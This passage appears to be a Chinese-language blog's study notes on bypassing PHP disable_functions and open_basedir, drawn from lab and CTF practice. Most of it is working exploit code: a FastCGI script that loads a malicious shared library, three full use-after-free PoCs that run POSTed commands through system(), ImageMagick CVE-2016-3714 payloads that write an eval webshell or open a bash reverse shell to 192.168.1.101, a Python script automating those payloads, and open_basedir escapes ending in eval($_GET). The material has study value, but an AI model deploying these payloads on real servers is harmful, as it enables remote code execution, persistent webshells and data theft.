       'CONTENT_TYPE': 'application/text',#application/x-www-form-urlencoded
       'CONTENT_LENGTH': "%d" % len(content),
       'PHP_ADMIN_VALUE': 'allow_url_include = On',
       'PHP_VALUE': 'auto_prepend_file = php://input',
       'PHP_VALUE': 'extension=/tmp/fe1w0.so',
       'PHP_ADMIN_VALUE':'extension=/tmp/fe1w0.so' # 调用自己的共享库
  }
   response = client.request(params, content)
   # base64
   result = base64.encodebytes(response).strip().decode('utf-8')
   print(result)
   # urlencde 下面两行是urlencde
   #response = urlparse.quote(response)
   #print(response)
 ~/project/www_win/test/2020_11_5_bypass_disable_function/fastcgi-fpm ------------------------------------ at 17:34:29
> python3 fastcgi.py 127.0.0.1 /var/www/html/index.php -c "<?php system('ls')?>"
AQFZcAAIAAAAAQAAAAAAAAEEWXAB1AAAEQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDgRS
RVFVRVNUX01FVEhPRFBPU1QPF1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhw
CxdTQ1JJUFRfTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwDABRVUVSWV9TVFJJTkcLF1JFUVVF
U1RfVVJJL3Zhci93d3cvaHRtbC9pbmRleC5waHANAURPQ1VNRU5UX1JPT1QvDw5TRVJWRVJfU09G
VFdBUkVwaHAvZmNnaWNsaWVudAsJUkVNT1RFX0FERFIxMjcuMC4wLjELBFJFTU9URV9QT1JUOTk4
NAsJU0VSVkVSX0FERFIxMjcuMC4wLjELAlNFUlZFUl9QT1JUODALCVNFUlZFUl9OQU1FbG9jYWxo
b3N0DwhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMQwQQ09OVEVOVF9UWVBFYXBwbGljYXRpb24vdGV4
dA4CQ09OVEVOVF9MRU5HVEgyMA8XUEhQX0FETUlOX1ZBTFVFZXh0ZW5zaW9uPS90bXAvZmUxdzAu
c28JF1BIUF9WQUxVRWV4dGVuc2lvbj0vdG1wL2ZlMXcwLnNvAQRZcAAAAAABBVlwABQAADw/cGhw
IHN5c3RlbSgnbHMnKT8+AQVZcAAAAAA=

注意这里的system()函数是不会执行的,disable_function

fe1w0.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void)
{
   system("tac /flag >/tmp/flag");
}

fe1w0.so生成

gcc -c -fPIC fe1w0.c -o fe1w0 && gcc --share fe1w0 -o fe1w0.so

fe1w0.php

//fe1w0.php
<?php
   $sock=stream_socket_client('tcp://127.0.0.1:9000');
   //unix:///run/php/php7.2-fpm.sock
   var_dump(base64_decode($_POST['fe1w0']));
   fputs($sock, base64_decode($_POST['fe1w0']));
   var_dump(fread($sock, 4096));
?>
image-20201115173636858
image-20201115173703808

0x05 Json Serializer UAF

利用json序列化中的堆溢出触发,借以绕过disable_function

使用条件

  • Linux 操作系统
  • PHP 版本
  • 7.1 – all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

环境:

AntSword-Labs/bypass_disable_functions/6

payload.php

<?php

# Author: https://github.com/mm0r1

$cmd = $_POST["pass"];

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
   public static $leak;
}

class Z implements JsonSerializable {
   public function write(&$str, $p, $v, $n = 8) {
     $i = 0;
     for($i = 0; $i < $n; $i++) {
       $str[$p + $i] = chr($v & 0xff);
       $v >>= 8;
    }
  }

   public function str2ptr(&$str, $p = 0, $s = 8) {
       $address = 0;
       for($j = $s-1; $j >= 0; $j--) {
           $address <<= 8;
           $address |= ord($str[$p+$j]);
      }
       return $address;
  }

   public function ptr2str($ptr, $m = 8) {
       $out = "";
       for ($i=0; $i < $m; $i++) {
           $out .= chr($ptr & 0xff);
           $ptr >>= 8;
      }
       return $out;
  }

   # unable to leak ro segments
   public function leak1($addr) {
       global $spl1;

       $this->write($this->abc, 8, $addr - 0x10);
       return strlen(get_class($spl1));
  }

   # the real deal
   public function leak2($addr, $p = 0, $s = 8) {
       global $spl1, $fake_tbl_off;

       # fake reference zval
       $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
       $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
       $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

       $leak = strlen($spl1::$leak);
       if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

       return $leak;
  }

   public function parse_elf($base) {
       $e_type = $this->leak2($base, 0x10, 2);

       $e_phoff = $this->leak2($base, 0x20);
       $e_phentsize = $this->leak2($base, 0x36, 2);
       $e_phnum = $this->leak2($base, 0x38, 2);

       for($i = 0; $i < $e_phnum; $i++) {
           $header = $base + $e_phoff + $i * $e_phentsize;
           $p_type  = $this->leak2($header, 0, 4);
           $p_flags = $this->leak2($header, 4, 4);
           $p_vaddr = $this->leak2($header, 0x10);
           $p_memsz = $this->leak2($header, 0x28);

           if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
               # handle pie
               $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
               $data_size = $p_memsz;
          } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
               $text_size = $p_memsz;
          }
      }

       if(!$data_addr || !$text_size || !$data_size)
           return false;

       return [$data_addr, $text_size, $data_size];
  }

   public function get_basic_funcs($base, $elf) {
       list($data_addr, $text_size, $data_size) = $elf;
       for($i = 0; $i < $data_size / 8; $i++) {
           $leak = $this->leak2($data_addr, $i * 8);
           if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
               $deref = $this->leak2($leak);
               # 'constant' constant check
               if($deref != 0x746e6174736e6f63)
                   continue;
          } else continue;

           $leak = $this->leak2($data_addr, ($i + 4) * 8);
           if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
               $deref = $this->leak2($leak);
               # 'bin2hex' constant check
               if($deref != 0x786568326e6962)
                   continue;
          } else continue;

           return $data_addr + $i * 8;
      }
  }

   public function get_binary_base($binary_leak) {
       $base = 0;
       $start = $binary_leak & 0xfffffffffffff000;
       for($i = 0; $i < 0x1000; $i++) {
           $addr = $start - 0x1000 * $i;
           $leak = $this->leak2($addr, 0, 7);
           if($leak == 0x10102464c457f) { # ELF header
               return $addr;
          }
      }
  }

   public function get_system($basic_funcs) {
       $addr = $basic_funcs;
       do {
           $f_entry = $this->leak2($addr);
           $f_name = $this->leak2($f_entry, 0, 6);

           if($f_name == 0x6d6574737973) { # system
               return $this->leak2($addr + 8);
          }
           $addr += 0x20;
      } while($f_entry != 0);
       return false;
  }

   public function jsonSerialize() {
       global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

       $contiguous = [];
       for($i = 0; $i < $n_alloc; $i++)
           $contiguous[] = new DateInterval('PT1S');

       $room = [];
       for($i = 0; $i < $n_alloc; $i++)
           $room[] = new Z();

       $_protector = $this->ptr2str(0, 78);

       $this->abc = $this->ptr2str(0, 79);
       $p = new DateInterval('PT1S');

       unset($y[0]);
       unset($p);

       $protector = ".$_protector";

       $x = new DateInterval('PT1S');
       $x->d = 0x2000;
       $x->h = 0xdeadbeef;
       # $this->abc is now of size 0x2000

       if($this->str2ptr($this->abc) != 0xdeadbeef) {
           die('UAF failed.');
      }

       $spl1 = new MySplFixedArray();
       $spl2 = new MySplFixedArray();

       # some leaks
       $class_entry = $this->str2ptr($this->abc, 0x120);
       $handlers = $this->str2ptr($this->abc, 0x128);
       $php_heap = $this->str2ptr($this->abc, 0x1a8);
       $abc_addr = $php_heap - 0x218;

       # create a fake class_entry
       $fake_obj = $abc_addr;
       $this->write($this->abc, 0, 2); # type
       $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

       # copy some of class_entry definition
       for($i = 0; $i < 16; $i++) {
           $this->write($this->abc, 0x10 + $i * 8,
               $this->leak1($class_entry + 0x10 + $i * 8));
      }

       # fake static members table
       $fake_tbl_off = 0x70 * 4 - 16;
       $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
       $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

       # fake zval_reference
       $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
       $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

       # look for binary base
       $binary_leak = $this->leak2($handlers + 0x10);
       if(!($base = $this->get_binary_base($binary_leak))) {
           die("Couldn't determine binary base address");
      }

       # parse elf header
       if(!($elf = $this->parse_elf($base))) {
           die("Couldn't parse ELF");
      }

       # get basic_functions address
       if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
           die("Couldn't get basic_functions address");
      }

       # find system entry
       if(!($zif_system = $this->get_system($basic_funcs))) {
           die("Couldn't get zif_system address");
      }

       # copy hashtable offsetGet bucket
       $fake_bkt_off = 0x70 * 5 - 16;

       $function_data = $this->str2ptr($this->abc, 0x50);
       for($i = 0; $i < 4; $i++) {
           $this->write($this->abc, $fake_bkt_off + $i * 8,
               $this->leak2($function_data + 0x40 * 4, $i * 8));
      }

       # create a fake bucket
       $fake_bkt_addr = $abc_addr + $fake_bkt_off;
       $this->write($this->abc, 0x50, $fake_bkt_addr);
       for($i = 0; $i < 3; $i++) {
           $this->write($this->abc, 0x58 + $i * 4, 1, 4);
      }

       # copy bucket zval
       $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
       for($i = 0; $i < 12; $i++) {
           $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8,
               $this->leak2($function_zval, $i * 8));
      }

       # pwn
       $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
       $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

       $spl1->offsetGet($cmd);

       exit();
  }
}

$y = [new Z()];
json_encode([&$y]);

payload

ant=include('/tmp/fe1w0.php');&pass=whoami

0x06 GC UAF

利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3

<?php

# Author: https://github.com/mm0r1

pwn($_POST["pass"]);

function pwn($cmd) {
   global $abc, $helper;

   function str2ptr(&$str, $p = 0, $s = 8) {
       $address = 0;
       for($j = $s-1; $j >= 0; $j--) {
           $address <<= 8;
           $address |= ord($str[$p+$j]);
      }
       return $address;
  }

   function ptr2str($ptr, $m = 8) {
       $out = "";
       for ($i=0; $i < $m; $i++) {
           $out .= chr($ptr & 0xff);
           $ptr >>= 8;
      }
       return $out;
  }

   function write(&$str, $p, $v, $n = 8) {
       $i = 0;
       for($i = 0; $i < $n; $i++) {
           $str[$p + $i] = chr($v & 0xff);
           $v >>= 8;
      }
  }

   function leak($addr, $p = 0, $s = 8) {
       global $abc, $helper;
       write($abc, 0x68, $addr + $p - 0x10);
       $leak = strlen($helper->a);
       if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
       return $leak;
  }

   function parse_elf($base) {
       $e_type = leak($base, 0x10, 2);

       $e_phoff = leak($base, 0x20);
       $e_phentsize = leak($base, 0x36, 2);
       $e_phnum = leak($base, 0x38, 2);

       for($i = 0; $i < $e_phnum; $i++) {
           $header = $base + $e_phoff + $i * $e_phentsize;
           $p_type  = leak($header, 0, 4);
           $p_flags = leak($header, 4, 4);
           $p_vaddr = leak($header, 0x10);
           $p_memsz = leak($header, 0x28);

           if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
               # handle pie
               $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
               $data_size = $p_memsz;
          } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
               $text_size = $p_memsz;
          }
      }

       if(!$data_addr || !$text_size || !$data_size)
           return false;

       return [$data_addr, $text_size, $data_size];
  }

   function get_basic_funcs($base, $elf) {
       list($data_addr, $text_size, $data_size) = $elf;
       for($i = 0; $i < $data_size / 8; $i++) {
           $leak = leak($data_addr, $i * 8);
           if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
               $deref = leak($leak);
               # 'constant' constant check
               if($deref != 0x746e6174736e6f63)
                   continue;
          } else continue;

           $leak = leak($data_addr, ($i + 4) * 8);
           if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
               $deref = leak($leak);
               # 'bin2hex' constant check
               if($deref != 0x786568326e6962)
                   continue;
          } else continue;

           return $data_addr + $i * 8;
      }
  }

   function get_binary_base($binary_leak) {
       $base = 0;
       $start = $binary_leak & 0xfffffffffffff000;
       for($i = 0; $i < 0x1000; $i++) {
           $addr = $start - 0x1000 * $i;
           $leak = leak($addr, 0, 7);
           if($leak == 0x10102464c457f) { # ELF header
               return $addr;
          }
      }
  }

   function get_system($basic_funcs) {
       $addr = $basic_funcs;
       do {
           $f_entry = leak($addr);
           $f_name = leak($f_entry, 0, 6);

           if($f_name == 0x6d6574737973) { # system
               return leak($addr + 8);
          }
           $addr += 0x20;
      } while($f_entry != 0);
       return false;
  }

   class ryat {
       var $ryat;
       var $chtg;

       function __destruct()
      {
           $this->chtg = $this->ryat;
           $this->ryat = 1;
      }
  }

   class Helper {
       public $a, $b, $c, $d;
  }

   if(stristr(PHP_OS, 'WIN')) {
       die('This PoC is for *nix systems only.');
  }

   $n_alloc = 10; # increase this value if you get segfaults

   $contiguous = [];
   for($i = 0; $i < $n_alloc; $i++)
       $contiguous[] = str_repeat('A', 79);

   $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
   $out = unserialize($poc);
   gc_collect_cycles();

   $v = [];
   $v[0] = ptr2str(0, 79);
   unset($v);
   $abc = $out[2][0];

   $helper = new Helper;
   $helper->b = function ($x) { };

   if(strlen($abc) == 79 || strlen($abc) == 0) {
       die("UAF failed");
  }

   # leaks
   $closure_handlers = str2ptr($abc, 0);
   $php_heap = str2ptr($abc, 0x58);
   $abc_addr = $php_heap - 0xc8;

   # fake value
   write($abc, 0x60, 2);
   write($abc, 0x70, 6);

   # fake reference
   write($abc, 0x10, $abc_addr + 0x60);
   write($abc, 0x18, 0xa);

   $closure_obj = str2ptr($abc, 0x20);

   $binary_leak = leak($closure_handlers, 8);
   if(!($base = get_binary_base($binary_leak))) {
       die("Couldn't determine binary base address");
  }

   if(!($elf = parse_elf($base))) {
       die("Couldn't parse ELF header");
  }

   if(!($basic_funcs = get_basic_funcs($base, $elf))) {
       die("Couldn't get basic_functions address");
  }

   if(!($zif_system = get_system($basic_funcs))) {
       die("Couldn't get zif_system address");
  }

   # fake closure object
   $fake_obj_offset = 0xd0;
   for($i = 0; $i < 0x110; $i += 8) {
       write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  }

   # pwn
   write($abc, 0x20, $abc_addr + $fake_obj_offset);
   write($abc, 0xd0 + 0x38, 1, 4); # internal func type
   write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

  ($helper->b)($cmd);

   exit();
}

payload

ant=include('/tmp/exp2.php');&pass=whoami

0x07 Backtrace UAF

影响版本是7.0-7.4

<?php

# Author: https://github.com/mm0r1

pwn($_POST["pass"]);

function pwn($cmd) {
   global $abc, $helper, $backtrace;

   class Vuln {
       public $a;
       public function __destruct() {
           global $backtrace;
           unset($this->a);
           $backtrace = (new Exception)->getTrace(); # ;)
           if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
               $backtrace = debug_backtrace();
          }
      }
  }

   class Helper {
       public $a, $b, $c, $d;
  }

   function str2ptr(&$str, $p = 0, $s = 8) {
       $address = 0;
       for($j = $s-1; $j >= 0; $j--) {
           $address <<= 8;
           $address |= ord($str[$p+$j]);
      }
       return $address;
  }

   function ptr2str($ptr, $m = 8) {
       $out = "";
       for ($i=0; $i < $m; $i++) {
           $out .= chr($ptr & 0xff);
           $ptr >>= 8;
      }
       return $out;
  }

   function write(&$str, $p, $v, $n = 8) {
       $i = 0;
       for($i = 0; $i < $n; $i++) {
           $str[$p + $i] = chr($v & 0xff);
           $v >>= 8;
      }
  }

   function leak($addr, $p = 0, $s = 8) {
       global $abc, $helper;
       write($abc, 0x68, $addr + $p - 0x10);
       $leak = strlen($helper->a);
       if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
       return $leak;
  }

   function parse_elf($base) {
       $e_type = leak($base, 0x10, 2);

       $e_phoff = leak($base, 0x20);
       $e_phentsize = leak($base, 0x36, 2);
       $e_phnum = leak($base, 0x38, 2);

       for($i = 0; $i < $e_phnum; $i++) {
           $header = $base + $e_phoff + $i * $e_phentsize;
           $p_type  = leak($header, 0, 4);
           $p_flags = leak($header, 4, 4);
           $p_vaddr = leak($header, 0x10);
           $p_memsz = leak($header, 0x28);

           if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
               # handle pie
               $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
               $data_size = $p_memsz;
          } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
               $text_size = $p_memsz;
          }
      }

       if(!$data_addr || !$text_size || !$data_size)
           return false;

       return [$data_addr, $text_size, $data_size];
  }

   function get_basic_funcs($base, $elf) {
       list($data_addr, $text_size, $data_size) = $elf;
       for($i = 0; $i < $data_size / 8; $i++) {
           $leak = leak($data_addr, $i * 8);
           if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
               $deref = leak($leak);
               # 'constant' constant check
               if($deref != 0x746e6174736e6f63)
                   continue;
          } else continue;

           $leak = leak($data_addr, ($i + 4) * 8);
           if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
               $deref = leak($leak);
               # 'bin2hex' constant check
               if($deref != 0x786568326e6962)
                   continue;
          } else continue;

           return $data_addr + $i * 8;
      }
  }

   function get_binary_base($binary_leak) {
       $base = 0;
       $start = $binary_leak & 0xfffffffffffff000;
       for($i = 0; $i < 0x1000; $i++) {
           $addr = $start - 0x1000 * $i;
           $leak = leak($addr, 0, 7);
           if($leak == 0x10102464c457f) { # ELF header
               return $addr;
          }
      }
  }

   function get_system($basic_funcs) {
       $addr = $basic_funcs;
       do {
           $f_entry = leak($addr);
           $f_name = leak($f_entry, 0, 6);

           if($f_name == 0x6d6574737973) { # system
               return leak($addr + 8);
          }
           $addr += 0x20;
      } while($f_entry != 0);
       return false;
  }

   function trigger_uaf($arg) {
       # str_shuffle prevents opcache string interning
       $arg = str_shuffle(str_repeat('A', 79));
       $vuln = new Vuln();
       $vuln->a = $arg;
  }

   if(stristr(PHP_OS, 'WIN')) {
       die('This PoC is for *nix systems only.');
  }

   $n_alloc = 10; # increase this value if UAF fails
   $contiguous = [];
   for($i = 0; $i < $n_alloc; $i++)
       $contiguous[] = str_shuffle(str_repeat('A', 79));

   trigger_uaf('x');
   $abc = $backtrace[1]['args'][0];

   $helper = new Helper;
   $helper->b = function ($x) { };

   if(strlen($abc) == 79 || strlen($abc) == 0) {
       die("UAF failed");
  }

   # leaks
   $closure_handlers = str2ptr($abc, 0);
   $php_heap = str2ptr($abc, 0x58);
   $abc_addr = $php_heap - 0xc8;

   # fake value
   write($abc, 0x60, 2);
   write($abc, 0x70, 6);

   # fake reference
   write($abc, 0x10, $abc_addr + 0x60);
   write($abc, 0x18, 0xa);

   $closure_obj = str2ptr($abc, 0x20);

   $binary_leak = leak($closure_handlers, 8);
   if(!($base = get_binary_base($binary_leak))) {
       die("Couldn't determine binary base address");
  }

   if(!($elf = parse_elf($base))) {
       die("Couldn't parse ELF header");
  }

   if(!($basic_funcs = get_basic_funcs($base, $elf))) {
       die("Couldn't get basic_functions address");
  }

   if(!($zif_system = get_system($basic_funcs))) {
       die("Couldn't get zif_system address");
  }

   # fake closure object
   $fake_obj_offset = 0xd0;
   for($i = 0; $i < 0x110; $i += 8) {
       write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  }

   # pwn
   write($abc, 0x20, $abc_addr + $fake_obj_offset);
   write($abc, 0xd0 + 0x38, 1, 4); # internal func type
   write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

  ($helper->b)($cmd);
   exit();
}

0x08 FFI扩展

https://www.php.net/manual/zh/book.ffi.php

php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的

<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");
?>
  • ImageMagick

imagemagick是一个用于处理图片的程序,如果上传的图片含有攻击代码,在处理时可被远程执行任意代码(CVE-2016–3714)

https://github.com/Medicean/VulApps/tree/master/i/imagemagick/1

  • 本地测试

在容器中 /poc.png 文件内容如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context

构建时已经集成在容器中,可手动修改第 3 行的命令。

在物理机上直接执行下面命令验证漏洞:

$ docker exec i_imagemagick_1 convert /poc.png 1.png

或进入 docker容器 shell 中执行:

$ convert /poc.png 1.png

如果看到 ls -al 命令成功执行,则存在漏洞。

  • 远程命令执行测试

远程命令执行无回显,可通过写文件或者反弹 shell 来验证漏洞存在。

  1. 写一句话到网站根目录下:push graphic-context
    viewbox 0 0 640 480
    fill ‘url(https://example.com/1.jpg”|echo \'<?php eval($_POST[\’ant\’]);?>\’ > shell.php”)’
    pop graphic-context
  2. 反弹 shell:push graphic-context
    viewbox 0 0 640 480
    fill ‘url(https://example.com/1.jpg”|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1″)’
    pop graphic-context

将上述两个 Exp 经过 base64 编码后发送到远程 poc.php,querystring 的 keyimg

也可修改 poc.py 后执行。

#!/usr/bin/env python
# coding:utf-8

import requests
import base64


def doPost(url, data):
   post_data = {"img": base64.b64encode(data)}
   try:
       requests.post(url + "/poc.php", data=post_data, timeout=1)
   except:
       pass


# 写 webshell
def writeshell(url):
   writeshell = '''push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \\'<?php eval($_POST[\\'ant\\']);?>\\' > shell.php")'
pop graphic-context
'''
   doPost(url, writeshell)
   resp2 = requests.post(url + "/shell.php", data={"ant": "echo md5(123);"})
   if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content:
       print "WebShell: " + url + "shell.php"

def reverse_shell(url):    
   reverse_shell = """push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")'
pop graphic-context"""

   # 反弹 shell
   doPost(url, reverse_shell)

if __name__ == '__main__':
   # 写 webshell
   writeshell("http://127.0.0.1:8000/")
   # 反弹 shell
   # reverse_shell("http://127.0.0.1:8000/")

bypass open_basedir 🍔

refer:

https://www.mi1k7ea.com/2019/07/20/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-open-basedir%E7%9A%84%E6%96%B9%E6%B3%95/

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

https://xz.aliyun.com/t/4720

open_basedir 官方手册上的描述

open_basedir string

Limit the files that can be accessed by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off.

When a script tries to access the filesystem, for example using include, or fopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to access it. All symbolic links are resolved, so it’s not possible to avoid this restriction with a symlink. If the file doesn’t exist then the symlink couldn’t be resolved and the filename is compared to (a resolved) open_basedir.

open_basedir can affect more than just filesystem functions; for example if MySQL is configured to use mysqlnd drivers, LOAD DATA INFILE will be affected by open_basedir. Much of the extended functionality of PHP uses open_basedir in this way.

The special value . indicates that the working directory of the script will be used as the base-directory. This is, however, a little dangerous as the working directory of the script can easily be changed with chdir().

In httpd.conf, open_basedir can be turned off (e.g. for some virtual hosts) the same way as any other configuration directive with “php_admin_value open_basedir none“.

Under Windows, separate the directories with a semicolon. On all other systems, separate the directories with a colon. As an Apache module, open_basedir paths from parent directories are now automatically inherited.

The restriction specified with open_basedir is a directory name since PHP 5.2.16 and 5.3.4. Previous versions used it as a prefix. This means that “open_basedir = /dir/incl” also allowed access to “/dir/include” and “/dir/incls” if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: open_basedir = /dir/incl/

The default is to allow all files to be opened.

Note:

As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/ in php.ini a script can tighten the configuration to /www/tmp/ at run-time with ini_set(). When listing several directories, you can use the PATH_SEPARATOR constant as a separator regardless of the operating system.

Note:

Using open_basedir will set realpath_cache_size to 0 and thus disable the realpath cache.

0x01 ini_set()

正如官方手册中提到,open_basedir 的可修改范围是PHP_INI_ALL,而ini_set的修改范围是PHP_INI_USERPHP_INI_ALL,此外如上文中提到The restriction specified with **open_basedir** is a directory name since PHP 5.2.16 and 5.3.4. Previous versions used it as a prefix.,在本地测试中也发现,php<=php5.2.17,是以检查前缀的方式,而对于php>=php5.3.2,则是以文件名的形式要求匹配。

环境:

php5.2.17nts  php5.4.45nts  php5.6.9nts  php7.0.9nts.log  php7.2.9nts      php7.3.4nts  php7.4.3nts
php5.3.29nts php5.5.9nts   php7.0.9nts php7.1.9nts     php7.3.9nts  

大致代码

<?php
var_dump(ini_set('open_basedir','D:/'));
$file = file_get_contents('D:/flag');
echo($file);

0x02 利用命令执行函数Bypass

虽然上午中提到open_basedir 会影响数据库加载文件,但没有说影响到命令执行

<?php
var_dump(ini_set('open_basedir','D:/phpstudy_pro'));
var_dump(ini_get('open_basedir'));
var_dump(system('type D:\flag'));

0x03 利用symlink()构造软链接

这个在学习过程中,感觉还是很有趣的

symlink()

symlink ( string $target , string $link ) : bool

symlink() creates a symbolic link to the existing target with the specified name link.

当前symlink.php 的地址为/mnt/d/phpstudy_pro/WWW/test/2020_11_4_bypass_open_basedir,而 flag 位于/flag

payload:

<?php
ini_set('open_basedir','/mnt/d/phpstudy_pro/WWW/test/2020_11_4_bypass_open_basedir');
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
mkdir("E");
chdir("E");
mkdir("F");
chdir("F");
mkdir("G");
chdir("G");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D/E/F/G","7ea");
/*
为了便于 可以将 该7ea 标记为7ea_first
第一次创建的7ea地址是指向A/B/C/D/E/F/G
*/
symlink("7ea/../../../../../../../flag","flag");
unlink("7ea");
mkdir("7ea");
/*
该 7ea 标记为 7ea_second
重新指向7ea/../../../../../../../flag
*/
?>

0x04利用glob://伪协议

glob:// — 查找匹配的文件路径模式,自 PHP 5.3.0 起开始有效。

属性支持
受限于 allow_url_fopenNo
受限于 allow_url_includeNo
允许读取No
允许写入No
允许附加No
允许同时读写No
支持 stat()No
支持 unlink()No
支持 rename()No
支持 mkdir()No
支持 rmdir()No

示例使用:

<?php
$it = new DirectoryIterator("glob:///mnt/d/phpstudy_pro/WWW/test/2020_11_4_bypass_open_basedir/*.php");
foreach($it as $f) {
   printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
   
/*
> php glob_php_demo.php
glob_php_demo.php: 0.2K
symlink.php: 0.7K
*/

0x01 DirectoryIterator+glob://

DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。

DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件

https://www.php.net/manual/en/class.directoryiterator.php

<?php
ini_set('open_basedir','/app');
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
   echo($f->__toString().'<br>');
}
?>

实践中发现可以做到任意目录读取

对mi1k7ea师傅提到的受限问题存疑

0x02 opendir()+readdir()+glob://

<?php
ini_set('open_basedir','/app');
$a = $_GET['c'];
if ( $b = opendir($a) ) {
   while ( ($file = readdir($b)) !== false ) {
       echo $file."<br>";
  }
   closedir($b);
}
/*
payload
http://localhost:40080/glob/glob_opendir_readdir.php?c=glob:///*
*/
?>

0x05 利用chdir()与ini_set()组合Bypass

原理

从PHP底层看open_basedir bypass

推荐看一下

<?php
ini_set('open_basedir','/app');
mkdir('fe1w0');
chdir('fe1w0');
// path /app/glob/fe1w0
ini_set('open_basedir', '..');
chdir('..');
chdir('..');
chdir('..');
// go back 3 times
ini_set('open_basedir', '/');
$cmd = $_GET[1];
@eval($cmd);

0x06 利用bindtextdomain()

bindtextdomain ( string $domain , string $directory ) : string

The bindtextdomain() function sets the path for a domain.

绑定域名与路径

return:

The full pathname for the domain currently being set.

bypass 原理: 利用bindtextdomain在成功绑定域名和目录之后,会返回完整地址。如果地址不存在,则return false,好像也只能探测目录

<?php 
ini_set('open_basedir','/app');
$domain = 'docker';
$file = $_GET['file'];
$res=bindtextdomain($domain, $file);
var_dump($res);

0x07 利用SplFileInfo::getRealPath()类方法

SplFileinfo

The SplFileInfo class offers a high-level object oriented interface to information for an individual file.

SplFileInfo::getRealPath

SplFileInfo::getRealPath — Gets absolute path to file

return

Returns the path to the file, or FALSE if the file does not exist.

具体使用和bindtextdomain一样

利用SplFileInfo::getRealPath()会根据输入地址,放回绝对地址,存在则解析。如果地址不存在,则return false,和bindtextdomain只能探测目录

<?php
ini_set('open_basedir','/app');
$info = new SplFileInfo($_GET['file_name']);
var_dump($info->getRealPath());

0x08 realpath()

realpath() 扩展所有的符号连接并且处理输入的 path 中的 ‘/./’, ‘/../’ 以及多余的 ‘/’ 并返回规范化后的绝对路径名。返回的路径中没有符号连接,’/./’ 或 ‘/../’ 成分。

环境条件:Windows

基本原理是基于报错返回内容的不用,设置自定义的错误处理函数,循环遍历匹配到正则的报错信息的字符来逐个拼接成存在的文件名,另外是需要结合利用Windows下的两个特殊的通配符<和>,不然只能进行暴破。

from mi1k7ea师傅

<?php
ini_set('open_basedir', dirname(__FILE__));
